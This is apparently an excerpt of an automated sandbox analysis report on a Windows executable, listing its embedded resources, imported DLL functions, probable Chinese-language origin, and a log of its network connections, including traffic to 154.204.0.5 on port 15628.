RT_CURSOR	0x1ebee48	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x1ebef98	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x1ebf0e8	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.38636363636363635
RT_CURSOR	0x1ebf238	0x134	data	Chinese	China	0.44155844155844154
RT_CURSOR	0x1ebf388	0x134	data	Chinese	China	0.4155844155844156
RT_CURSOR	0x1ebf4d8	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5422077922077922
RT_CURSOR	0x1ebf628	0x134	data	Chinese	China	0.2662337662337662
RT_CURSOR	0x1ebf778	0x134	data	Chinese	China	0.2824675324675325
RT_CURSOR	0x1ebf8c8	0x134	data	Chinese	China	0.3246753246753247
RT_BITMAP	0x1ebfb38	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x1ebfbf0	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x1ebcc40	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	Chinese	China	0.19939024390243903
RT_ICON	0x1ebd2a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	Chinese	China	0.3699360341151386
RT_DIALOG	0x1ebe178	0x80	data	Chinese	China	0.6875
RT_DIALOG	0x1ebe1f8	0xb8	data	Chinese	China	0.6032608695652174
RT_DIALOG	0x1ebe2b0	0xa4	data	Chinese	China	0.7317073170731707
RT_DIALOG	0x1ebe358	0x15c	data	Chinese	China	0.5114942528735632
RT_DIALOG	0x1ebfa18	0xe2	data	Chinese	China	0.6769911504424779
RT_DIALOG	0x1ebfb00	0x34	data	Chinese	China	0.8653846153846154
RT_STRING	0x1ebfd38	0x5c	data	Chinese	China	0.8369565217391305
RT_STRING	0x1ebfd98	0x4e	data	Chinese	China	0.8461538461538461
RT_STRING	0x1ebfde8	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x1ebfe18	0x84	data	Chinese	China	0.9166666666666666
RT_STRING	0x1ebfea0	0x1cc	data	Chinese	China	0.7934782608695652
RT_STRING	0x1ec01c8	0x14e	data	Chinese	China	0.5179640718562875
RT_STRING	0x1ec00b8	0x10e	data	Chinese	China	0.7037037037037037
RT_STRING	0x1ec0658	0x50	data	Chinese	China	0.7125
RT_STRING	0x1ec0070	0x44	data	Chinese	China	0.6764705882352942
RT_STRING	0x1ec05c8	0x68	data	Chinese	China	0.7019230769230769
RT_STRING	0x1ec0318	0x1b2	data	Chinese	China	0.6474654377880185
RT_STRING	0x1ec04d0	0xf4	data	Chinese	China	0.6065573770491803
RT_STRING	0x1ec0630	0x24	data	Chinese	China	0.4722222222222222
RT_STRING	0x1ec06a8	0x1a8	data	Chinese	China	0.6674528301886793
RT_GROUP_CURSOR	0x1ebe790	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x1ebef80	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebe8f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebee30	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebece0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf610	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebeb90	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf220	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebea40	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf0d0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf370	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf4c0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf760	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebf8b0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1ebfa00	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_ICON	0x1ebe150	0x22	data	Chinese	China	1.0588235294117647
RT_VERSION	0x1ebe4b8	0xdc	data	Chinese	China	0.6545454545454545
RT_MANIFEST	0x1ec0850	0x22f	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (499), with CRLF line terminators	English	United States	0.5295169946332737

Imports

DLL	Import
KERNEL32.dll	GetEnvironmentStringsW, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindFirstFileExA, GetDriveTypeW, SetFilePointerEx, ReadConsoleW, GetConsoleMode, GetConsoleCP, GetTimeZoneInformation, EnumSystemLocalesW, IsValidLocale, LCMapStringW, GetTimeFormatW, GetDateFormatW, GetStringTypeW, GetStdHandle, FreeEnvironmentStringsW, QueryPerformanceFrequency, GetFullPathNameW, GetFileType, SetStdHandle, HeapQueryInformation, GetCommandLineW, GetCommandLineA, FreeLibraryAndExitThread, ExitThread, CreateThread, VirtualQuery, VirtualAlloc, GetSystemInfo, InterlockedFlushSList, InterlockedPushEntrySList, RtlPcToFileHeader, RtlUnwindEx, OutputDebugStringW, SetEnvironmentVariableA, SetEnvironmentVariableW, WriteConsoleW, SetConsoleCtrlHandler, SetCurrentDirectoryW, GetCurrentDirectoryW, InitializeSListHead, GetSystemTimeAsFileTime, QueryPerformanceCounter, GetStartupInfoW, IsDebuggerPresent, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, CreateEventW, WaitForSingleObjectEx, ResetEvent, LocalUnlock, LocalLock, GetUserDefaultLCID, ReplaceFileA, GetDiskFreeSpaceA, Sleep, SearchPathA, GetProfileIntA, GetTempFileNameA, GetTempPathA, GetTickCount, SetErrorMode, FindResourceExW, VerifyVersionInfoA, VerSetConditionMask, GetWindowsDirectoryA, GetCurrentDirectoryA, FindNextFileA, SetFileTime, SetFileAttributesA, LocalFileTimeToFileTime, GetFileTime, GetFileSizeEx, GetFileAttributesExA, GetFileAttributesA, FileTimeToLocalFileTime, GetStringTypeExA, GetVolumeInformationA, MoveFileA, lstrcmpiA, GetShortPathNameA, LoadLibraryExA, GetCurrentProcess, DuplicateHandle, UnlockFile, SetFilePointer, SetEndOfFile, ReadFile, LockFile, GetFullPathNameA, GetFileSize, FlushFileBuffers, FindFirstFileA, FindClose, DeleteFileA, GetCPInfo, GetOEMCP, VirtualProtect, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, CompareStringW, lstrcpyA, GetACP, GlobalFlags, GetThreadLocale, SystemTimeToFileTime, GetAtomNameA, LocalReAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSection, WritePrivateProfileStringA, GetPrivateProfileStringA, GetPrivateProfileIntA, GetModuleHandleA, lstrcmpA, GetVersionExA, GetCurrentThread, ResumeThread, SuspendThread, SetThreadPriority, CreateEventA, WaitForSingleObject, SetEvent, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, LocalAlloc, GetModuleFileNameA, GetCurrentProcessId, CompareStringA, GlobalGetAtomNameA, GlobalFindAtomA, GlobalAddAtomA, FindResourceA, lstrcmpW, GlobalDeleteAtom, LoadLibraryExW, GetModuleHandleW, FreeResource, FreeLibrary, GetSystemDirectoryW, GetCurrentThreadId, EncodePointer, LeaveCriticalSection, EnterCriticalSection, QueryActCtxW, FindActCtxSectionStringW, DeactivateActCtx, ActivateActCtx, CreateActCtxW, LoadLibraryW, GetModuleHandleExW, GetModuleFileNameW, LockResource, OutputDebugStringA, CopyFileA, FormatMessageA, MulDiv, LocalFree, GlobalFree, GlobalUnlock, GlobalLock, GlobalSize, GlobalAlloc, SetLastError, CreateFileA, LoadLibraryA, lstrcatA, CloseHandle, WriteFile, GetProcAddress, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, RaiseException, GetProcessHeap, HeapSize, HeapFree, HeapReAlloc, HeapAlloc, HeapDestroy, DecodePointer, GetLastError, WideCharToMultiByte, MultiByteToWideChar, FindResourceW, SizeofResource, LoadResource, ExitProcess, CreateFileW
USER32.dll	IsRectEmpty, SetRect, InvalidateRgn, CopyAcceleratorTableA, CharNextA, LoadCursorW, WindowFromPoint, ReleaseCapture, SetCapture, DeleteMenu, CharUpperA, GetDialogBaseUnits, GetAsyncKeyState, CopyImage, LoadImageW, DestroyIcon, InvalidateRect, TrackMouseEvent, RealChildWindowFromPoint, IntersectRect, LoadCursorA, GetSysColorBrush, SystemParametersInfoA, InflateRect, GetMenuItemInfoA, DestroyMenu, MapDialogRect, SetWindowContextHelpId, SetCursor, ShowOwnedPopups, PostQuitMessage, GetCursorPos, TranslateMessage, GetMessageA, WaitMessage, GetWindowThreadProcessId, GetDesktopWindow, GetActiveWindow, GetNextDlgTabItem, EndDialog, CreateDialogIndirectParamA, FillRect, ClientToScreen, GetWindowDC, TabbedTextOutA, GrayStringA, DrawTextExA, DrawTextA, GetMonitorInfoA, MonitorFromWindow, WinHelpA, GetScrollInfo, SetScrollInfo, LoadIconA, CallNextHookEx, SetWindowsHookExA, GetLastActivePopup, GetTopWindow, GetClassNameA, GetClassLongPtrA, GetClassLongA, SetWindowLongPtrA, GetWindowLongPtrA, PtInRect, EqualRect, GetSysColor, GetNextDlgGroupItem, ScreenToClient, AdjustWindowRectEx, RemovePropA, GetPropA, SetPropA, ShowScrollBar, GetScrollRange, SetScrollRange, GetScrollPos, SetScrollPos, ScrollWindow, RedrawWindow, ValidateRect, EndPaint, BeginPaint, SetForegroundWindow, GetForegroundWindow, SetActiveWindow, TrackPopupMenuEx, TrackPopupMenu, IsZoomed, GetMenu, GetCapture, GetKeyState, IsWindowVisible, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, DestroyWindow, IsChild, IsMenu, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, CallWindowProcA, DefWindowProcA, GetMessageTime, GetMessagePos, LoadMenuW, BringWindowToTop, SetCursorPos, MessageBoxA, SendMessageA, PostMessageA, SetTimer, KillTimer, PeekMessageA, DispatchMessageA, RegisterWindowMessageA, IsDialogMessageA, GetWindow, SetWindowLongA, GetWindowLongA, GetWindowTextLengthA, GetWindowTextA, SetWindowTextA, ScrollWindowEx, IsWindowEnabled, SetFocus, GetDlgCtrlID, IsDlgButtonChecked, CheckRadioButton, MessageBeep, DrawFocusRect, LoadImageA, DrawIconEx, GetIconInfo, EnableScrollBar, HideCaret, InvertRect, NotifyWinEvent, CreatePopupMenu, GetMenuDefaultItem, SetLayeredWindowAttributes, EnumDisplayMonitors, SetClassLongPtrA, SetWindowRgn, CheckDlgButton, GetDlgItemTextA, SetParent, OpenClipboard, CloseClipboard, SetClipboardData, EmptyClipboard, DrawStateA, DrawEdge, MapWindowPoints, DrawFrameControl, EnableWindow, UpdateWindow, GetWindowRect, LoadIconW, UnregisterClassA, IsIconic, GetSystemMetrics, GetSystemMenu, AppendMenuA, DrawIcon, GetClientRect, GetMenuStringA, GetMenuState, GetSubMenu, GetMenuItemID, GetMenuItemCount, InsertMenuA, RemoveMenu, UnhookWindowsHookEx, IsWindow, GetKeyNameTextA, MapVirtualKeyA, GetDC, ReleaseDC, UnpackDDElParam, CopyRect, SendDlgItemMessageA, SetRectEmpty, OffsetRect, GetParent, GetFocus, CheckMenuItem, EnableMenuItem, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, SetMenuItemInfoA, LoadBitmapW, ShowWindow, MoveWindow, SetWindowPos, GetDlgItem, SetDlgItemInt, GetDlgItemInt, SetDlgItemTextA, CopyIcon, FrameRect, LoadAcceleratorsA, TranslateAcceleratorA, LoadMenuA, InsertMenuItemA, GetMenuBarInfo, GetTabbedTextExtentW, GetTabbedTextExtentA, GetDCEx, DestroyCursor, GetWindowRgn, WindowFromDC, CreateMenu, InSendMessage, MonitorFromRect, SendNotifyMessageA, SubtractRect, TranslateMDISysAccel, DefMDIChildProcA, DefFrameProcA, DrawMenuBar, EnumChildWindows, GetUpdateRect, IsClipboardFormatAvailable, CharUpperBuffA, ModifyMenuA, GetDoubleClickTime, SetMenuDefaultItem, LockWindowUpdate, DestroyAcceleratorTable, CreateAcceleratorTableA, LoadAcceleratorsW, ToAsciiEx, GetKeyboardState, MapVirtualKeyExA, IsCharLowerA, GetKeyboardLayout, PostThreadMessageA, GetComboBoxInfo, MonitorFromPoint, UpdateLayeredWindow, UnionRect, RegisterClipboardFormatA, ReuseDDElParam, SetMenu
GDI32.dll	DeleteObject, Escape, ExcludeClipRect, GetClipBox, GetClipRgn, GetCurrentPositionEx, GetObjectType, GetPixel, GetStockObject, GetViewportExtEx, GetWindowExtEx, IntersectClipRect, LineTo, OffsetClipRgn, PlayMetaFile, PtVisible, RestoreDC, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkMode, SetMapperFlags, SetGraphicsMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetStretchBltMode, SetTextCharacterExtra, SetTextAlign, SetTextJustification, PlayMetaFileRecord, EnumMetaFile, SetWorldTransform, ModifyWorldTransform, SetColorAdjustment, StartDocA, ArcTo, PolyDraw, SelectClipPath, SetArcDirection, ExtCreatePen, MoveToEx, TextOutA, ExtTextOutA, PolyBezierTo, PolylineTo, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateFontIndirectA, GetTextExtentPoint32A, CombineRgn, CreateSolidBrush, SetRectRgn, DPtoLP, GetTextMetricsA, GetBkColor, GetTextColor, GetRgnBox, CreatePalette, GetNearestPaletteIndex, GetPaletteEntries, GetSystemPaletteEntries, RealizePalette, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesA, GetTextCharsetInfo, GetDIBits, SetPixel, StretchBlt, CreateDIBSection, SetDIBColorTable, CreateEllipticRgn, Ellipse, CreatePolygonRgn, Polygon, Polyline, CreateRoundRectRgn, LPtoDP, EnumFontFamiliesExA, Rectangle, OffsetRgn, GetCurrentObject, CreateFontA, GetCharWidthA, StretchDIBits, RoundRect, FillRgn, FrameRgn, GetBoundsRect, PtInRegion, ExtFloodFill, SetPaletteEntries, SetPixelV, GetWindowOrgEx, GetViewportOrgEx, CloseMetaFile, CreateMetaFileA, DeleteMetaFile, EndDoc, StartPage, EndPage, AbortDoc, SetAbortProc, GetROP2, GetBkMode, GetNearestColor, GetPolyFillMode, GetStretchBltMode, GetTextAlign, GetTextExtentPointA, GetTextExtentPoint32W, GetTextFaceA, CreateRectRgn, CreatePatternBrush, CreatePen, CreateHatchBrush, CreateDIBPatternBrushPt, CreateCompatibleDC, BitBlt, GetObjectA, SetTextColor, SetBkColor, CreateBitmap, DeleteDC, PatBlt, CreateRectRgnIndirect, GetDeviceCaps, CreateDCA, GetMapMode, RectVisible, CopyMetaFileA
MSIMG32.dll	TransparentBlt, AlphaBlend
WINSPOOL.DRV	ClosePrinter, GetJobA, OpenPrinterA, DocumentPropertiesA
ADVAPI32.dll	RegEnumKeyA, GetFileSecurityA, SetFileSecurityA, RegEnumKeyExA, RegEnumValueA, RegOpenKeyExW, RegQueryValueA, RegCloseKey, RegSetValueExA, RegDeleteValueA, RegDeleteKeyA, RegCreateKeyExA, RegQueryValueExA, RegOpenKeyExA, RegSetValueA
SHELL32.dll	SHBrowseForFolderA, SHGetFileInfoA, SHAddToRecentDocs, ExtractIconA, ShellExecuteA, SHGetPathFromIDListA, SHGetSpecialFolderLocation, SHGetDesktopFolder, ShellExecuteExA, SHAppBarMessage, SHGetSpecialFolderPathA, SHGetMalloc, DragFinish, DragQueryFileA
COMCTL32.dll	ImageList_ReplaceIcon
SHLWAPI.dll	PathFindExtensionA, PathFindFileNameA, PathRemoveExtensionA, PathIsUNCA, PathStripToRootA, StrFormatKBSizeA, UrlUnescapeA, PathRemoveFileSpecW
UxTheme.dll	GetThemeColor, GetThemePartSize, GetThemeSysColor, DrawThemeText, DrawThemeParentBackground, OpenThemeData, CloseThemeData, DrawThemeBackground, GetCurrentThemeName, IsThemeBackgroundPartiallyTransparent, GetWindowTheme, IsAppThemed
ole32.dll	OleFlushClipboard, OleIsCurrentClipboard, DoDragDrop, OleGetClipboard, CoLockObjectExternal, RegisterDragDrop, RevokeDragDrop, PropVariantCopy, CoRegisterClassObject, CoRevokeClassObject, CoRegisterMessageFilter, OleSetMenuDescriptor, OleLockRunning, StgCreateDocfile, StgOpenStorage, StgIsStorageFile, CreateFileMoniker, OleCreateMenuDescriptor, OleDestroyMenuDescriptor, OleTranslateAccelerator, IsAccelerator, OleRegGetMiscStatus, OleRegEnumVerbs, CreateGenericComposite, CreateItemMoniker, WriteClassStm, OleCreate, OleCreateFromData, OleUninitialize, OleInitialize, CoFreeUnusedLibraries, OleRun, OleCreateLinkFromData, OleCreateStaticFromData, CoInitializeEx, CreateStreamOnHGlobal, CreateILockBytesOnHGlobal, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, CoGetClassObject, CoDisconnectObject, StringFromGUID2, CLSIDFromProgID, CLSIDFromString, CoInitialize, CoCreateInstance, CoCreateGuid, CoUninitialize, SetConvertStg, ReleaseStgMedium, OleDuplicateData, ReadFmtUserTypeStg, WriteFmtUserTypeStg, WriteClassStg, ReadClassStg, CreateBindCtx, CoTreatAsClass, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID, OleCreateLinkToFile, OleCreateFromFile, OleLoad, OleSave, OleSaveToStream, OleSetContainedObject, OleGetIconOfClass, GetHGlobalFromILockBytes, CreateDataAdviseHolder, CreateOleAdviseHolder, GetRunningObjectTable, OleIsRunning, CoGetMalloc, OleQueryLinkFromData, OleQueryCreateFromData, OleSetClipboard, OleRegGetUserType
OLEAUT32.dll	LoadRegTypeLib, RegisterTypeLib, SysStringLen, SysReAllocStringLen, SystemTimeToVariantTime, VariantTimeToSystemTime, SafeArrayAllocDescriptor, SafeArrayAllocData, SafeArrayCreate, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayDestroy, SafeArrayRedim, SafeArrayGetDim, SafeArrayGetElemsize, SafeArrayGetUBound, SafeArrayGetLBound, LoadTypeLib, SafeArrayUnlock, SafeArrayAccessData, SafeArrayUnaccessData, SafeArrayGetElement, SafeArrayPutElement, SafeArrayCopy, SafeArrayPtrOfIndex, VariantCopy, VarDateFromStr, VarCyFromStr, VarBstrFromCy, VarBstrFromDate, VarBstrFromDec, VarDecFromStr, OleCreateFontIndirect, SysAllocString, VariantChangeType, VariantClear, SysAllocStringLen, VariantInit, SysAllocStringByteLen, SysStringByteLen, SafeArrayLock, SysFreeString
oledlg.dll
WS2_32.dll	send, sendto, socket, gethostbyname, WSAStartup, WSACleanup, WSASetLastError, WSAGetLastError, WSAAsyncSelect, setsockopt, accept, bind, closesocket, connect, getpeername, getsockname, htonl, htons, inet_addr, ntohs, recv, recvfrom, select, inet_ntoa
gdiplus.dll	GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromScan0, GdipBitmapLockBits, GdipBitmapUnlockBits, GdipDeleteGraphics, GdipDrawImageI, GdipCreateBitmapFromHBITMAP, GdipCreateFromHDC, GdipSetInterpolationMode, GdipDrawImageRectI, GdipCreateBitmapFromFile, GdipCreateBitmapFromStream, GdipGetImagePaletteSize, GdipGetImagePalette, GdipGetImagePixelFormat, GdipGetImageHeight, GdipGetImageWidth, GdipGetImageGraphicsContext, GdipDisposeImage, GdipCloneImage, GdiplusStartup, GdipFree, GdipAlloc, GdiplusShutdown, GdipCreateBitmapFromFileICM
OLEACC.dll	AccessibleObjectFromWindow, LresultFromObject, CreateStdAccessibleObject
WININET.dll	InternetGetLastResponseInfoA, InternetQueryDataAvailable, InternetSetOptionA, InternetQueryOptionA, InternetFindNextFileA, InternetErrorDlg, InternetGetCookieA, InternetSetCookieA, HttpQueryInfoA, HttpEndRequestA, HttpSendRequestExA, HttpSendRequestA, HttpAddRequestHeadersA, HttpOpenRequestA, GopherGetAttributeA, GopherOpenFileA, GopherFindFirstFileA, GopherCreateLocatorA, FtpCommandA, FtpGetCurrentDirectoryA, FtpSetCurrentDirectoryA, FtpRemoveDirectoryA, FtpCreateDirectoryA, FtpOpenFileA, FtpRenameFileA, FtpDeleteFileA, FtpPutFileA, FtpGetFileA, FtpFindFirstFileA, InternetCrackUrlA, InternetCanonicalizeUrlA, InternetWriteFile, InternetSetFilePointer, InternetReadFile, InternetOpenUrlA, InternetConnectA, InternetCloseHandle, InternetOpenA, InternetSetStatusCallback
IMM32.dll	ImmGetContext, ImmGetOpenStatus, ImmReleaseContext
WINMM.dll	PlaySoundA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2024 16:13:40.259510994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:13:40.264497042 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:13:40.265685081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:13:40.269555092 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:13:40.274398088 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:13:41.499500036 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:13:41.556714058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:13:41.669900894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:13:41.674901009 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:13:41.992011070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:13:42.041075945 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:10.144722939 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:10.149617910 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:10.149713039 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:10.324206114 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:10.329145908 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:11.075567961 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:11.168920994 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:11.775890112 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:11.864752054 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:11.879228115 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:11.902508974 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:11.973486900 CEST	49720	53	192.168.2.5	8.8.8.8
Jul 20, 2024 16:14:11.978301048 CEST	53	49720	8.8.8.8	192.168.2.5
Jul 20, 2024 16:14:11.978382111 CEST	49720	53	192.168.2.5	8.8.8.8
Jul 20, 2024 16:14:11.979501009 CEST	49720	53	192.168.2.5	8.8.8.8
Jul 20, 2024 16:14:11.981729031 CEST	49721	443	192.168.2.5	103.235.46.96
Jul 20, 2024 16:14:11.981779099 CEST	443	49721	103.235.46.96	192.168.2.5
Jul 20, 2024 16:14:11.981844902 CEST	49721	443	192.168.2.5	103.235.46.96
Jul 20, 2024 16:14:11.985285044 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 16:14:11.985318899 CEST	443	49722	5.255.255.77	192.168.2.5
Jul 20, 2024 16:14:11.985337019 CEST	53	49720	8.8.8.8	192.168.2.5
Jul 20, 2024 16:14:11.985367060 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 16:14:11.985404015 CEST	49720	53	192.168.2.5	8.8.8.8
Jul 20, 2024 16:14:11.985434055 CEST	49721	443	192.168.2.5	103.235.46.96
Jul 20, 2024 16:14:11.985551119 CEST	443	49721	103.235.46.96	192.168.2.5
Jul 20, 2024 16:14:11.985604048 CEST	49721	443	192.168.2.5	103.235.46.96
Jul 20, 2024 16:14:11.986499071 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 16:14:11.986548901 CEST	443	49722	5.255.255.77	192.168.2.5
Jul 20, 2024 16:14:11.986608982 CEST	49722	443	192.168.2.5	5.255.255.77
Jul 20, 2024 16:14:11.987013102 CEST	49723	443	192.168.2.5	142.250.185.196
Jul 20, 2024 16:14:11.987103939 CEST	443	49723	142.250.185.196	192.168.2.5
Jul 20, 2024 16:14:11.987169981 CEST	49723	443	192.168.2.5	142.250.185.196
Jul 20, 2024 16:14:11.987732887 CEST	49723	443	192.168.2.5	142.250.185.196
Jul 20, 2024 16:14:11.987844944 CEST	443	49723	142.250.185.196	192.168.2.5
Jul 20, 2024 16:14:11.987909079 CEST	49723	443	192.168.2.5	142.250.185.196
Jul 20, 2024 16:14:11.991903067 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:11.997735023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:12.230434895 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:12.230536938 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:12.799797058 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.799856901 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:12.799911976 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.799923897 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:12.799952030 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.799990892 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.800121069 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.800179005 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:12.800513029 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.807574034 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.807600021 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:12.807816982 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.807841063 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:12.808290958 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:12.808314085 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:12.904342890 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:12.904397011 CEST	443	49728	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:12.904478073 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:12.907051086 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:12.907080889 CEST	443	49728	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:13.517632008 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.517724037 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.521787882 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.521867037 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.533116102 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.533164978 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.533250093 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.533319950 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.547054052 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.547143936 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.570225954 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.570261955 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.570466995 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.570472002 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.577532053 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.577553034 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.577804089 CEST	443	49727	18.239.15.44	192.168.2.5
